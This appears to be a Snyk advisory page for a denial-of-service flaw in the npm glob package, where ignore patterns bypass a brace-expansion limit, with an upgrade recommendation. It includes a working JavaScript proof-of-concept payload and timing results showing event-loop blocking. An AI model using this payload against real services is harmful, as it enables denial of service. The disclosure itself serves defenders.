Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade glob to version 14.0.6 or higher.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in src/ignore.ts, the Ignore class constructs its own minimatch options without including a braceExpandMax limit, causing ignore patterns to fall back to minimatch's default of 100,000 instead of the 10,000 cap applied to regular patterns. Both code paths force optimizationLevel: 2, which is the precondition for minimatch's O(n²) globparts amplification in secondPhasePreProcess(). An attacker who can supply ignore patterns can pass a brace-expansion payload that is rejected in milliseconds as a regular pattern but consumes several seconds of CPU when processed as an ignore pattern, blocking the Node.js event loop.
import { Volume, createFsFromVolume } from 'memfs'
import { glob } from 'glob'
const vol = new Volume()
const fs = createFsFromVolume(vol)
vol.fromJSON({ '/p/f.txt': 'x' })
// 14 '**/..' groups -> 2^14 = 16384 rows, over the 10_000 limit
const payload = Array.from({ length: 14 })
.map((_, i) => `**/../x${i}/y${i}`)
.join('/')
glob.sync(payload, { cwd: '/p', fs, platform: 'posix' })
// throws: optimizationLevel 2: too many patterns from '**/..' (rejected fast)
glob.sync('*', { cwd: '/p', fs, ignore: [payload], platform: 'posix' })
// accepted, ~1.5-2.0 s of CPU
Measured on the published glob@14.0.4:
payload: 175 bytes
as PATTERN : 6 ms REJECTED (optimizationLevel 2: too many patterns from '**/..)
as IGNORE : 1985 ms accepted
Note: The PoC uses memfs for an in-memory filesystem and targets the published glob@14.0.4 on a posix platform.